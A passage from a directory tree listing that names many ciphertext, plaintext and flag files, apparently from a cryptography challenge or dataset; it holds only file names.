│   │   │       │   ├── ciphertext_942
│   │   │       │   ├── ciphertext_943
│   │   │       │   ├── ciphertext_944
│   │   │       │   ├── ciphertext_945
│   │   │       │   ├── ciphertext_946
│   │   │       │   ├── ciphertext_947
│   │   │       │   ├── ciphertext_948
│   │   │       │   ├── ciphertext_949
│   │   │       │   ├── ciphertext_950
│   │   │       │   ├── ciphertext_951
│   │   │       │   ├── ciphertext_952
│   │   │       │   ├── ciphertext_953
│   │   │       │   ├── ciphertext_954
│   │   │       │   ├── ciphertext_955
│   │   │       │   ├── ciphertext_956
│   │   │       │   ├── ciphertext_957
│   │   │       │   ├── ciphertext_958
│   │   │       │   ├── ciphertext_959
│   │   │       │   ├── ciphertext_960
│   │   │       │   ├── ciphertext_961
│   │   │       │   ├── ciphertext_962
│   │   │       │   ├── ciphertext_963
│   │   │       │   ├── ciphertext_964
│   │   │       │   ├── ciphertext_965
│   │   │       │   ├── ciphertext_966
│   │   │       │   ├── ciphertext_967
│   │   │       │   ├── ciphertext_968
│   │   │       │   ├── ciphertext_969
│   │   │       │   ├── ciphertext_970
│   │   │       │   ├── ciphertext_971
│   │   │       │   ├── ciphertext_972
│   │   │       │   ├── ciphertext_973
│   │   │       │   ├── ciphertext_974
│   │   │       │   ├── ciphertext_975
│   │   │       │   ├── ciphertext_976
│   │   │       │   ├── ciphertext_977
│   │   │       │   ├── ciphertext_978
│   │   │       │   ├── ciphertext_979
│   │   │       │   ├── ciphertext_980
│   │   │       │   ├── ciphertext_981
│   │   │       │   ├── ciphertext_982
│   │   │       │   ├── ciphertext_983
│   │   │       │   ├── ciphertext_984
│   │   │       │   ├── ciphertext_985
│   │   │       │   ├── ciphertext_986
│   │   │       │   ├── ciphertext_987
│   │   │       │   ├── ciphertext_988
│   │   │       │   ├── ciphertext_989
│   │   │       │   ├── ciphertext_990
│   │   │       │   ├── ciphertext_991
│   │   │       │   ├── ciphertext_992
│   │   │       │   ├── ciphertext_993
│   │   │       │   ├── ciphertext_994
│   │   │       │   ├── ciphertext_995
│   │   │       │   ├── ciphertext_996
│   │   │       │   ├── ciphertext_997
│   │   │       │   ├── ciphertext_998
│   │   │       │   ├── ciphertext_999
│   │   │       │   ├── flag_00
│   │   │       │   ├── flag_01
│   │   │       │   ├── flag_02
│   │   │       │   ├── flag_03
│   │   │       │   ├── flag_04
│   │   │       │   ├── flag_05
│   │   │       │   ├── flag_06
│   │   │       │   ├── flag_07
│   │   │       │   ├── flag_08
│   │   │       │   ├── flag_09
│   │   │       │   ├── flag_10
│   │   │       │   ├── flag_11
│   │   │       │   ├── flag_12
│   │   │       │   ├── flag_13
│   │   │       │   ├── flag_14
│   │   │       │   ├── flag_15
│   │   │       │   ├── flag_16
│   │   │       │   ├── flag_17
│   │   │       │   ├── flag_18
│   │   │       │   ├── flag_19
│   │   │       │   ├── flag_20
│   │   │       │   ├── flag_21
│   │   │       │   ├── flag_22
│   │   │       │   ├── flag_23
│   │   │       │   ├── flag_24
│   │   │       │   ├── flag_25
│   │   │       │   ├── flag_26
│   │   │       │   ├── flag_27
│   │   │       │   ├── flag_28
│   │   │       │   ├── flag_29
│   │   │       │   ├── flag_30
│   │   │       │   ├── plaintext_000
│   │   │       │   ├── plaintext_001
│   │   │       │   ├── plaintext_002
│   │   │       │   ├── plaintext_003
│   │   │       │   ├── plaintext_004
│   │   │       │   ├── plaintext_005
│   │   │       │   ├── plaintext_006
│   │   │       │   ├── plaintext_007
│   │   │       │   ├── plaintext_008
│   │   │       │   ├── plaintext_009
│   │   │       │   ├── plaintext_010
│   │   │       │   ├── plaintext_011
│   │   │       │   ├── plaintext_012
│   │   │       │   ├── plaintext_013
│   │   │       │   ├── plaintext_014
│   │   │       │   ├── plaintext_015
│   │   │       │   ├── plaintext_016
│   │   │       │   ├── plaintext_017
│   │   │       │   ├── plaintext_018
│   │   │       │   ├── plaintext_019
│   │   │       │   ├── plaintext_020
│   │   │       │   ├── plaintext_021
│   │   │       │   ├── plaintext_022
│   │   │       │   ├── plaintext_023
│   │   │       │   ├── plaintext_024
│   │   │       │   ├── plaintext_025
│   │   │       │   ├── plaintext_026
│   │   │       │   ├── plaintext_027
│   │   │       │   ├── plaintext_028
│   │   │       │   ├── plaintext_029
│   │   │       │   ├── plaintext_030
│   │   │       │   ├── plaintext_031
│   │   │       │   ├── plaintext_032
│   │   │       │   ├── plaintext_033
│   │   │       │   ├── plaintext_034
│   │   │       │   ├── plaintext_035
│   │   │       │   ├── plaintext_036
│   │   │       │   ├── plaintext_037
│   │   │       │   ├── plaintext_038
│   │   │       │   ├── plaintext_039
│   │   │       │   ├── plaintext_040
│   │   │       │   ├── plaintext_041
│   │   │       │   ├── plaintext_042
│   │   │       │   ├── plaintext_043
│   │   │       │   ├── plaintext_044
│   │   │       │   ├── plaintext_045
│   │   │       │   ├── plaintext_046
│   │   │       │   ├── plaintext_047
│   │   │       │   ├── plaintext_048
│   │   │       │   ├── plaintext_049
│   │   │       │   ├── plaintext_050
│   │   │       │   ├── plaintext_051
│   │   │       │   ├── plaintext_052
│   │   │       │   ├── plaintext_053
│   │   │       │   ├── plaintext_054
│   │   │       │   ├── plaintext_055
│   │   │       │   ├── plaintext_056
│   │   │       │   ├── plaintext_057
│   │   │       │   ├── plaintext_058
│   │   │       │   ├── plaintext_059
│   │   │       │   ├── plaintext_060
│   │   │       │   ├── plaintext_061
│   │   │       │   ├── plaintext_062
│   │   │       │   ├── plaintext_063
│   │   │       │   ├── plaintext_064
│   │   │       │   ├── plaintext_065
│   │   │       │   ├── plaintext_066
│   │   │       │   ├── plaintext_067
│   │   │       │   ├── plaintext_068
│   │   │       │   ├── plaintext_069
│   │   │       │   ├── plaintext_070
│   │   │       │   ├── plaintext_071
│   │   │       │   ├── plaintext_072
│   │   │       │   ├── plaintext_073
│   │   │       │   ├── plaintext_074
│   │   │       │   ├── plaintext_075
│   │   │       │   ├── plaintext_076
│   │   │       │   ├── plaintext_077
│   │   │       │   ├── plaintext_078
│   │   │       │   ├── plaintext_079
│   │   │       │   ├── plaintext_080
│   │   │       │   ├── plaintext_081
│   │   │       │   ├── plaintext_082
│   │   │       │   ├── plaintext_083
│   │   │       │   ├── plaintext_084
│   │   │       │   ├── plaintext_085
│   │   │       │   ├── plaintext_086
│   │   │       │   ├── plaintext_087
│   │   │       │   ├── plaintext_088
│   │   │       │   ├── plaintext_089
│   │   │       │   ├── plaintext_090
│   │   │       │   ├── plaintext_091
│   │   │       │   ├── plaintext_092
│   │   │       │   ├── plaintext_093
│   │   │       │   ├── plaintext_094
│   │   │       │   ├── plaintext_095
│   │   │       │   ├── plaintext_096
│   │   │       │   ├── plaintext_097
│   │   │       │   ├── plaintext_098
│   │   │       │   ├── plaintext_099
│   │   │       │   ├── plaintext_100
│   │   │       │   ├── plaintext_1000
│   │   │       │   ├── plaintext_1001
│   │   │       │   ├── plaintext_1002
│   │   │       │   ├── plaintext_1003
│   │   │       │   ├── plaintext_1004
│   │   │       │   ├── plaintext_1005
│   │   │       │   ├── plaintext_1006
│   │   │       │   ├── plaintext_1007
│   │   │       │   ├── plaintext_1008
│   │   │       │   ├── plaintext_1009
│   │   │       │   ├── plaintext_101
│   │   │       │   ├── plaintext_1010
│   │   │       │   ├── plaintext_1011
│   │   │       │   ├── plaintext_1012
│   │   │       │   ├── plaintext_1013
│   │   │       │   ├── plaintext_1014
│   │   │       │   ├── plaintext_1015
│   │   │       │   ├── plaintext_1016
│   │   │       │   ├── plaintext_1017
│   │   │       │   ├── plaintext_1018
│   │   │       │   ├── plaintext_1019
│   │   │       │   ├── plaintext_102
│   │   │       │   ├── plaintext_1020
│   │   │       │   ├── plaintext_1021
│   │   │       │   ├── plaintext_1022
│   │   │       │   ├── plaintext_1023
│   │   │       │   ├── plaintext_1024
│   │   │       │   ├── plaintext_1025
│   │   │       │   ├── plaintext_1026
│   │   │       │   ├── plaintext_1027
│   │   │       │   ├── plaintext_1028
│   │   │       │   ├── plaintext_1029
│   │   │       │   ├── plaintext_103
│   │   │       │   ├── plaintext_1030
│   │   │       │   ├── plaintext_1031
│   │   │       │   ├── plaintext_1032
│   │   │       │   ├── plaintext_1033
│   │   │       │   ├── plaintext_1034
│   │   │       │   ├── plaintext_1035
│   │   │       │   ├── plaintext_1036
│   │   │       │   ├── plaintext_1037
│   │   │       │   ├── plaintext_1038
│   │   │       │   ├── plaintext_1039
│   │   │       │   ├── plaintext_104
│   │   │       │   ├── plaintext_1040
│   │   │       │   ├── plaintext_1041
│   │   │       │   ├── plaintext_1042
│   │   │       │   ├── plaintext_1043
│   │   │       │   ├── plaintext_1044
│   │   │       │   ├── plaintext_1045
│   │   │       │   ├── plaintext_1046
│   │   │       │   ├── plaintext_1047
│   │   │       │   ├── plaintext_1048
│   │   │       │   ├── plaintext_1049
│   │   │       │   ├── plaintext_105
│   │   │       │   ├── plaintext_1050
│   │   │       │   ├── plaintext_1051
│   │   │       │   ├── plaintext_1052
│   │   │       │   ├── plaintext_1053
│   │   │       │   ├── plaintext_1054
│   │   │       │   ├── plaintext_1055
│   │   │       │   ├── plaintext_1056
│   │   │       │   ├── plaintext_1057
│   │   │       │   ├── plaintext_1058
│   │   │       │   ├── plaintext_1059
│   │   │       │   ├── plaintext_106
│   │   │       │   ├── plaintext_1060
│   │   │       │   ├── plaintext_1061
│   │   │       │   ├── plaintext_1062
│   │   │       │   ├── plaintext_1063
│   │   │       │   ├── plaintext_1064
│   │   │       │   ├── plaintext_1065
│   │   │       │   ├── plaintext_1066
│   │   │       │   ├── plaintext_1067
│   │   │       │   ├── plaintext_1068
│   │   │       │   ├── plaintext_1069
│   │   │       │   ├── plaintext_107
│   │   │       │   ├── plaintext_1070
│   │   │       │   ├── plaintext_1071
│   │   │       │   ├── plaintext_1072
│   │   │       │   ├── plaintext_1073
│   │   │       │   ├── plaintext_1074
│   │   │       │   ├── plaintext_1075
│   │   │       │   ├── plaintext_1076
│   │   │       │   ├── plaintext_1077
│   │   │       │   ├── plaintext_1078
│   │   │       │   ├── plaintext_1079
│   │   │       │   ├── plaintext_108
│   │   │       │   ├── plaintext_1080
│   │   │       │   ├── plaintext_1081
│   │   │       │   ├── plaintext_1082
│   │   │       │   ├── plaintext_1083
│   │   │       │   ├── plaintext_1084
│   │   │       │   ├── plaintext_1085
│   │   │       │   ├── plaintext_1086
│   │   │       │   ├── plaintext_1087
│   │   │       │   ├── plaintext_1088
│   │   │       │   ├── plaintext_1089
│   │   │       │   ├── plaintext_109
│   │   │       │   ├── plaintext_1090
│   │   │       │   ├── plaintext_1091
│   │   │       │   ├── plaintext_1092
│   │   │       │   ├── plaintext_1093
│   │   │       │   ├── plaintext_1094
│   │   │       │   ├── plaintext_1095
│   │   │       │   ├── plaintext_1096
│   │   │       │   ├── plaintext_1097
│   │   │       │   ├── plaintext_1098
│   │   │       │   ├── plaintext_1099
│   │   │       │   ├── plaintext_110
│   │   │       │   ├── plaintext_1100
│   │   │       │   ├── plaintext_1101
│   │   │       │   ├── plaintext_1102
│   │   │       │   ├── plaintext_1103
│   │   │       │   ├── plaintext_1104
│   │   │       │   ├── plaintext_1105
│   │   │       │   ├── plaintext_1106
│   │   │       │   ├── plaintext_1107
│   │   │       │   ├── plaintext_1108
│   │   │       │   ├── plaintext_1109
│   │   │       │   ├── plaintext_111
│   │   │       │   ├── plaintext_1110
│   │   │       │   ├── plaintext_1111
│   │   │       │   ├── plaintext_1112
│   │   │       │   ├── plaintext_1113
│   │   │       │   ├── plaintext_1114
│   │   │       │   ├── plaintext_1115
│   │   │       │   ├── plaintext_1116
│   │   │       │   ├── plaintext_1117
│   │   │       │   ├── plaintext_1118
│   │   │       │   ├── plaintext_1119
│   │   │       │   ├── plaintext_112
│   │   │       │   ├── plaintext_1120
│   │   │       │   ├── plaintext_1121
│   │   │       │   ├── plaintext_1122
│   │   │       │   ├── plaintext_1123
│   │   │       │   ├── plaintext_1124
│   │   │       │   ├── plaintext_1125
│   │   │       │   ├── plaintext_1126
│   │   │       │   ├── plaintext_1127
│   │   │       │   ├── plaintext_1128
│   │   │       │   ├── plaintext_1129
│   │   │       │   ├── plaintext_113
│   │   │       │   ├── plaintext_1130
│   │   │       │   ├── plaintext_1131
│   │   │       │   ├── plaintext_1132
│   │   │       │   ├── plaintext_1133
│   │   │       │   ├── plaintext_1134
│   │   │       │   ├── plaintext_1135
│   │   │       │   ├── plaintext_1136
│   │   │       │   ├── plaintext_1137
│   │   │       │   ├── plaintext_1138
│   │   │       │   ├── plaintext_1139
│   │   │       │   ├── plaintext_114
│   │   │       │   ├── plaintext_1140
│   │   │       │   ├── plaintext_1141
│   │   │       │   ├── plaintext_1142
│   │   │       │   ├── plaintext_1143
│   │   │       │   ├── plaintext_1144
│   │   │       │   ├── plaintext_1145
│   │   │       │   ├── plaintext_1146
│   │   │       │   ├── plaintext_1147
│   │   │       │   ├── plaintext_1148
│   │   │       │   ├── plaintext_1149
│   │   │       │   ├── plaintext_115
│   │   │       │   ├── plaintext_1150
│   │   │       │   ├── plaintext_1151
│   │   │       │   ├── plaintext_1152
│   │   │       │   ├── plaintext_1153
│   │   │       │   ├── plaintext_1154
│   │   │       │   ├── plaintext_1155
│   │   │       │   ├── plaintext_1156
│   │   │       │   ├── plaintext_1157
│   │   │       │   ├── plaintext_1158
│   │   │       │   ├── plaintext_1159
│   │   │       │   ├── plaintext_116
│   │   │       │   ├── plaintext_1160
│   │   │       │   ├── plaintext_1161
│   │   │       │   ├── plaintext_1162
│   │   │       │   ├── plaintext_1163
│   │   │       │   ├── plaintext_1164
│   │   │       │   ├── plaintext_1165
│   │   │       │   ├── plaintext_1166
│   │   │       │   ├── plaintext_1167
│   │   │       │   ├── plaintext_1168
│   │   │       │   ├── plaintext_1169
│   │   │       │   ├── plaintext_117
│   │   │       │   ├── plaintext_1170
│   │   │       │   ├── plaintext_1171
│   │   │       │   ├── plaintext_1172
│   │   │       │   ├── plaintext_1173
│   │   │       │   ├── plaintext_1174
│   │   │       │   ├── plaintext_1175
│   │   │       │   ├── plaintext_1176
│   │   │       │   ├── plaintext_1177
│   │   │       │   ├── plaintext_1178
│   │   │       │   ├── plaintext_1179
│   │   │       │   ├── plaintext_118
│   │   │       │   ├── plaintext_1180
│   │   │       │   ├── plaintext_1181
│   │   │       │   ├── plaintext_1182
│   │   │       │   ├── plaintext_1183
│   │   │       │   ├── plaintext_1184
│   │   │       │   ├── plaintext_1185
│   │   │       │   ├── plaintext_1186
│   │   │       │   ├── plaintext_1187
│   │   │       │   ├── plaintext_1188
│   │   │       │   ├── plaintext_1189
│   │   │       │   ├── plaintext_119
│   │   │       │   ├── plaintext_1190
│   │   │       │   ├── plaintext_1191
│   │   │       │   ├── plaintext_1192
│   │   │       │   ├── plaintext_1193
│   │   │       │   ├── plaintext_1194
│   │   │       │   ├── plaintext_1195
│   │   │       │   ├── plaintext_1196
│   │   │       │   ├── plaintext_1197
│   │   │       │   ├── plaintext_1198
│   │   │       │   ├── plaintext_1199
│   │   │       │   ├── plaintext_120
│   │   │       │   ├── plaintext_1200
│   │   │       │   ├── plaintext_1201
│   │   │       │   ├── plaintext_1202
│   │   │       │   ├── plaintext_1203
│   │   │       │   ├── plaintext_1204
│   │   │       │   ├── plaintext_1205
│   │   │       │   ├── plaintext_1206
│   │   │       │   ├── plaintext_1207
│   │   │       │   ├── plaintext_1208
│   │   │       │   ├── plaintext_1209
│   │   │       │   ├── plaintext_121
│   │   │       │   ├── plaintext_1210
│   │   │       │   ├── plaintext_1211
│   │   │       │   ├── plaintext_1212
│   │   │       │   ├── plaintext_1213
│   │   │       │   ├── plaintext_1214
│   │   │       │   ├── plaintext_1215
│   │   │       │   ├── plaintext_1216
│   │   │       │   ├── plaintext_1217
│   │   │       │   ├── plaintext_1218
│   │   │       │   ├── plaintext_1219
│   │   │       │   ├── plaintext_122
│   │   │       │   ├── plaintext_1220
│   │   │       │   ├── plaintext_1221
│   │   │       │   ├── plaintext_1222
│   │   │       │   ├── plaintext_1223
│   │   │       │   ├── plaintext_1224
│   │   │       │   ├── plaintext_1225
│   │   │       │   ├── plaintext_1226
│   │   │       │   ├── plaintext_1227
│   │   │       │   ├── plaintext_1228
│   │   │       │   ├── plaintext_1229
│   │   │       │   ├── plaintext_123
│   │   │       │   ├── plaintext_1230
│   │   │       │   ├── plaintext_1231
│   │   │       │   ├── plaintext_1232
│   │   │       │   ├── plaintext_1233
│   │   │       │   ├── plaintext_1234
│   │   │       │   ├── plaintext_1235
│   │   │       │   ├── plaintext_1236
│   │   │       │   ├── plaintext_1237
│   │   │       │   ├── plaintext_1238
│   │   │       │   ├── plaintext_1239
│   │   │       │   ├── plaintext_124
│   │   │       │   ├── plaintext_1240
│   │   │       │   ├── plaintext_1241
│   │   │       │   ├── plaintext_1242
│   │   │       │   ├── plaintext_1243
│   │   │       │   ├── plaintext_1244
│   │   │       │   ├── plaintext_1245
│   │   │       │   ├── plaintext_1246
│   │   │       │   ├── plaintext_1247
│   │   │       │   ├── plaintext_1248
│   │   │       │   ├── plaintext_1249
│   │   │       │   ├── plaintext_125
│   │   │       │   ├── plaintext_1250
│   │   │       │   ├── plaintext_1251
│   │   │       │   ├── plaintext_1252
│   │   │       │   ├── plaintext_1253
│   │   │       │   ├── plaintext_1254
│   │   │       │   ├── plaintext_1255
│   │   │       │   ├── plaintext_1256
│   │   │       │   ├── plaintext_1257
│   │   │       │   ├── plaintext_1258
│   │   │       │   ├── plaintext_1259
│   │   │       │   ├── plaintext_126
│   │   │       │   ├── plaintext_1260
│   │   │       │   ├── plaintext_1261
│   │   │       │   ├── plaintext_1262
│   │   │       │   ├── plaintext_1263
│   │   │       │   ├── plaintext_1264
│   │   │       │   ├── plaintext_1265
│   │   │       │   ├── plaintext_1266
│   │   │       │   ├── plaintext_1267
│   │   │       │   ├── plaintext_1268
│   │   │       │   ├── plaintext_1269
│   │   │       │   ├── plaintext_127
│   │   │       │   ├── plaintext_1270
│   │   │       │   ├── plaintext_1271
│   │   │       │   ├── plaintext_1272
│   │   │       │   ├── plaintext_1273
│   │   │       │   ├── plaintext_1274
│   │   │       │   ├── plaintext_1275
│   │   │       │   ├── plaintext_1276
│   │   │       │   ├── plaintext_1277
│   │   │       │   ├── plaintext_1278
│   │   │       │   ├── plaintext_1279
│   │   │       │   ├── plaintext_128
│   │   │       │   ├── plaintext_1280
│   │   │       │   ├── plaintext_1281
│   │   │       │   ├── plaintext_1282
│   │   │       │   ├── plaintext_1283
│   │   │       │   ├── plaintext_1284
│   │   │       │   ├── plaintext_1285
│   │   │       │   ├── plaintext_1286
│   │   │       │   ├── plaintext_1287
│   │   │       │   ├── plaintext_1288
│   │   │       │   ├── plaintext_1289
│   │   │       │   ├── plaintext_129
│   │   │       │   ├── plaintext_1290
│   │   │       │   ├── plaintext_1291
│   │   │       │   ├── plaintext_1292
│   │   │       │   ├── plaintext_1293
│   │   │       │   ├── plaintext_1294
│   │   │       │   ├── plaintext_1295
│   │   │       │   ├── plaintext_1296
│   │   │       │   ├── plaintext_1297
│   │   │       │   ├── plaintext_1298
│   │   │       │   ├── plaintext_1299
│   │   │       │   ├── plaintext_130
│   │   │       │   ├── plaintext_1300
│   │   │       │   ├── plaintext_1301
│   │   │       │   ├── plaintext_1302
│   │   │       │   ├── plaintext_1303
│   │   │       │   ├── plaintext_1304
│   │   │       │   ├── plaintext_1305
│   │   │       │   ├── plaintext_1306
│   │   │       │   ├── plaintext_1307
│   │   │       │   ├── plaintext_1308
│   │   │       │   ├── plaintext_1309
│   │   │       │   ├── plaintext_131
│   │   │       │   ├── plaintext_1310
│   │   │       │   ├── plaintext_1311
│   │   │       │   ├── plaintext_1312
│   │   │       │   ├── plaintext_1313
│   │   │       │   ├── plaintext_1314
│   │   │       │   ├── plaintext_1315
│   │   │       │   ├── plaintext_1316
│   │   │       │   ├── plaintext_1317
│   │   │       │   ├── plaintext_1318
│   │   │       │   ├── plaintext_1319
│   │   │       │   ├── plaintext_132
│   │   │       │   ├── plaintext_1320
│   │   │       │   ├── plaintext_1321
│   │   │       │   ├── plaintext_1322
│   │   │       │   ├── plaintext_1323
│   │   │       │   ├── plaintext_1324
│   │   │       │   ├── plaintext_1325
│   │   │       │   ├── plaintext_1326
│   │   │       │   ├── plaintext_1327
│   │   │       │   ├── plaintext_1328
│   │   │       │   ├── plaintext_1329
│   │   │       │   ├── plaintext_133
│   │   │       │   ├── plaintext_1330
│   │   │       │   ├── plaintext_1331
│   │   │       │   ├── plaintext_1332
│   │   │       │   ├── plaintext_1333
│   │   │       │   ├── plaintext_1334
│   │   │       │   ├── plaintext_1335
│   │   │       │   ├── plaintext_1336
│   │   │       │   ├── plaintext_1337
│   │   │       │   ├── plaintext_1338
│   │   │       │   ├── plaintext_1339
│   │   │       │   ├── plaintext_134
│   │   │       │   ├── plaintext_1340
│   │   │       │   ├── plaintext_1341
│   │   │       │   ├── plaintext_1342
│   │   │       │   ├── plaintext_1343
│   │   │       │   ├── plaintext_1344
│   │   │       │   ├── plaintext_1345
│   │   │       │   ├── plaintext_1346
│   │   │       │   ├── plaintext_1347
│   │   │       │   ├── plaintext_1348
│   │   │       │   ├── plaintext_1349
│   │   │       │   ├── plaintext_135
│   │   │       │   ├── plaintext_1350
│   │   │       │   ├── plaintext_1351
│   │   │       │   ├── plaintext_1352
│   │   │       │   ├── plaintext_1353
│   │   │       │   ├── plaintext_1354
│   │   │       │   ├── plaintext_1355
│   │   │       │   ├── plaintext_1356
│   │   │       │   ├── plaintext_1357
│   │   │       │   ├── plaintext_1358
│   │   │       │   ├── plaintext_1359
│   │   │       │   ├── plaintext_136
│   │   │       │   ├── plaintext_1360
│   │   │       │   ├── plaintext_1361
│   │   │       │   ├── plaintext_1362
│   │   │       │   ├── plaintext_1363
│   │   │       │   ├── plaintext_1364
│   │   │       │   ├── plaintext_1365
│   │   │       │   ├── plaintext_1366
│   │   │       │   ├── plaintext_1367
│   │   │       │   ├── plaintext_1368
│   │   │       │   ├── plaintext_1369
│   │   │       │   ├── plaintext_137
│   │   │       │   ├── plaintext_1370
│   │   │       │   ├── plaintext_1371
│   │   │       │   ├── plaintext_1372
│   │   │       │   ├── plaintext_1373
│   │   │       │   ├── plaintext_1374
│   │   │       │   ├── plaintext_1375
│   │   │       │   ├── plaintext_1376
│   │   │       │   ├── plaintext_1377
│   │   │       │   ├── plaintext_1378
│   │   │       │   ├── plaintext_1379
│   │   │       │   ├── plaintext_138
│   │   │       │   ├── plaintext_1380
│   │   │       │   ├── plaintext_1381
│   │   │       │   ├── plaintext_1382
│   │   │       │   ├── plaintext_1383
│   │   │       │   ├── plaintext_1384
│   │   │       │   ├── plaintext_1385
│   │   │       │   ├── plaintext_1386
│   │   │       │   ├── plaintext_1387
│   │   │       │   ├── plaintext_1388
│   │   │       │   ├── plaintext_1389
│   │   │       │   ├── plaintext_139
│   │   │       │   ├── plaintext_1390
│   │   │       │   ├── plaintext_1391
│   │   │       │   ├── plaintext_1392
│   │   │       │   ├── plaintext_1393
│   │   │       │   ├── plaintext_1394
│   │   │       │   ├── plaintext_1395
│   │   │       │   ├── plaintext_1396
│   │   │       │   ├── plaintext_1397
│   │   │       │   ├── plaintext_1398
│   │   │       │   ├── plaintext_1399
│   │   │       │   ├── plaintext_140
│   │   │       │   ├── plaintext_1400
│   │   │       │   ├── plaintext_1401
│   │   │       │   ├── plaintext_1402
│   │   │       │   ├── plaintext_1403
│   │   │       │   ├── plaintext_1404
│   │   │       │   ├── plaintext_1405
│   │   │       │   ├── plaintext_1406
│   │   │       │   ├── plaintext_1407
│   │   │       │   ├── plaintext_1408
│   │   │       │   ├── plaintext_1409
│   │   │       │   ├── plaintext_141
│   │   │       │   ├── plaintext_1410
│   │   │       │   ├── plaintext_1411
│   │   │       │   ├── plaintext_1412
│   │   │       │   ├── plaintext_1413
│   │   │       │   ├── plaintext_1414
│   │   │       │   ├── plaintext_1415
│   │   │       │   ├── plaintext_1416
│   │   │       │   ├── plaintext_1417
│   │   │       │   ├── plaintext_1418
│   │   │       │   ├── plaintext_1419
│   │   │       │   ├── plaintext_142
│   │   │       │   ├── plaintext_1420
│   │   │       │   ├── plaintext_1421
│   │   │       │   ├── plaintext_1422
│   │   │       │   ├── plaintext_1423
│   │   │       │   ├── plaintext_1424
│   │   │       │   ├── plaintext_1425
│   │   │       │   ├── plaintext_1426
│   │   │       │   ├── plaintext_1427
│   │   │       │   ├── plaintext_1428
│   │   │       │   ├── plaintext_1429
│   │   │       │   ├── plaintext_143
│   │   │       │   ├── plaintext_1430
│   │   │       │   ├── plaintext_1431
│   │   │       │   ├── plaintext_1432
│   │   │       │   ├── plaintext_1433
│   │   │       │   ├── plaintext_1434
│   │   │       │   ├── plaintext_1435
│   │   │       │   ├── plaintext_1436
│   │   │       │   ├── plaintext_1437
│   │   │       │   ├── plaintext_1438
│   │   │       │   ├── plaintext_1439
│   │   │       │   ├── plaintext_144
│   │   │       │   ├── plaintext_1440
│   │   │       │   ├── plaintext_1441
│   │   │       │   ├── plaintext_1442
│   │   │       │   ├── plaintext_1443
│   │   │       │   ├── plaintext_1444
│   │   │       │   ├── plaintext_1445
│   │   │       │   ├── plaintext_1446
│   │   │       │   ├── plaintext_1447
│   │   │       │   ├── plaintext_1448
│   │   │       │   ├── plaintext_1449
│   │   │       │   ├── plaintext_145
│   │   │       │   ├── plaintext_1450
│   │   │       │   ├── plaintext_1451
│   │   │       │   ├── plaintext_1452
│   │   │       │   ├── plaintext_1453
│   │   │       │   ├── plaintext_1454
│   │   │       │   ├── plaintext_1455
│   │   │       │   ├── plaintext_1456
│   │   │       │   ├── plaintext_1457
│   │   │       │   ├── plaintext_1458
│   │   │       │   ├── plaintext_1459
│   │   │       │   ├── plaintext_146
│   │   │       │   ├── plaintext_1460
│   │   │       │   ├── plaintext_1461
│   │   │       │   ├── plaintext_1462
│   │   │       │   ├── plaintext_1463
│   │   │       │   ├── plaintext_1464
│   │   │       │   ├── plaintext_1465
│   │   │       │   ├── plaintext_1466
│   │   │       │   ├── plaintext_1467
│   │   │       │   ├── plaintext_1468
│   │   │       │   ├── plaintext_1469
│   │   │       │   ├── plaintext_147
│   │   │       │   ├── plaintext_1470
│   │   │       │   ├── plaintext_1471
│   │   │       │   ├── plaintext_1472
│   │   │       │   ├── plaintext_1473
│   │   │       │   ├── plaintext_1474
│   │   │       │   ├── plaintext_1475
│   │   │       │   ├── plaintext_1476
│   │   │       │   ├── plaintext_1477
│   │   │       │   ├── plaintext_1478
│   │   │       │   ├── plaintext_1479
│   │   │       │   ├── plaintext_148
│   │   │       │   ├── plaintext_1480
│   │   │       │   ├── plaintext_1481
│   │   │       │   ├── plaintext_1482
│   │   │       │   ├── plaintext_1483
│   │   │       │   ├── plaintext_1484
│   │   │       │   ├── plaintext_1485
│   │   │       │   ├── plaintext_1486
│   │   │       │   ├── plaintext_1487
│   │   │       │   ├── plaintext_1488
│   │   │       │   ├── plaintext_1489
│   │   │       │   ├── plaintext_149
│   │   │       │   ├── plaintext_1490
│   │   │       │   ├── plaintext_1491
│   │   │       │   ├── plaintext_1492
│   │   │       │   ├── plaintext_1493
│   │   │       │   ├── plaintext_1494
│   │   │       │   ├── plaintext_1495
│   │   │       │   ├── plaintext_1496
│   │   │       │   ├── plaintext_1497
│   │   │       │   ├── plaintext_1498
│   │   │       │   ├── plaintext_1499
│   │   │       │   ├── plaintext_150
│   │   │       │   ├── plaintext_1500
│   │   │       │   ├── plaintext_1501
│   │   │       │   ├── plaintext_1502
│   │   │       │   ├── plaintext_1503
│   │   │       │   ├── plaintext_1504
│   │   │       │   ├── plaintext_1505
│   │   │       │   ├── plaintext_1506
│   │   │       │   ├── plaintext_1507
│   │   │       │   ├── plaintext_1508
│   │   │       │   ├── plaintext_1509
│   │   │       │   ├── plaintext_151
│   │   │       │   ├── plaintext_1510
│   │   │       │   ├── plaintext_1511
│   │   │       │   ├── plaintext_1512
│   │   │       │   ├── plaintext_1513
│   │   │       │   ├── plaintext_1514
│   │   │       │   ├── plaintext_1515
│   │   │       │   ├── plaintext_1516
│   │   │       │   ├── plaintext_1517
│   │   │       │   ├── plaintext_1518
│   │   │       │   ├── plaintext_1519
│   │   │       │   ├── plaintext_152
│   │   │       │   ├── plaintext_1520
│   │   │       │   ├── plaintext_1521
│   │   │       │   ├── plaintext_1522
│   │   │       │   ├── plaintext_1523
│   │   │       │   ├── plaintext_1524
│   │   │       │   ├── plaintext_1525
│   │   │       │   ├── plaintext_1526
│   │   │       │   ├── plaintext_1527
│   │   │       │   ├── plaintext_1528
│   │   │       │   ├── plaintext_1529
│   │   │       │   ├── plaintext_153
│   │   │       │   ├── plaintext_1530
│   │   │       │   ├── plaintext_1531
│   │   │       │   ├── plaintext_1532
│   │   │       │   ├── plaintext_1533
│   │   │       │   ├── plaintext_1534
│   │   │       │   ├── plaintext_1535
│   │   │       │   ├── plaintext_154
│   │   │       │   ├── plaintext_155
│   │   │       │   ├── plaintext_156
│   │   │       │   ├── plaintext_157
│   │   │       │   ├── plaintext_158
│   │   │       │   ├── plaintext_159
│   │   │       │   ├── plaintext_160
│   │   │       │   ├── plaintext_161
│   │   │       │   ├── plaintext_162
│   │   │       │   ├── plaintext_163
│   │   │       │   ├── plaintext_164
│   │   │       │   ├── plaintext_165
│   │   │       │   ├── plaintext_166
│   │   │       │   ├── plaintext_167
│   │   │       │   ├── plaintext_168
│   │   │       │   ├── plaintext_169
│   │   │       │   ├── plaintext_170
│   │   │       │   ├── plaintext_171
│   │   │       │   ├── plaintext_172
│   │   │       │   ├── plaintext_173
│   │   │       │   ├── plaintext_174
│   │   │       │   ├── plaintext_175
│   │   │       │   ├── plaintext_176
│   │   │       │   ├── plaintext_177
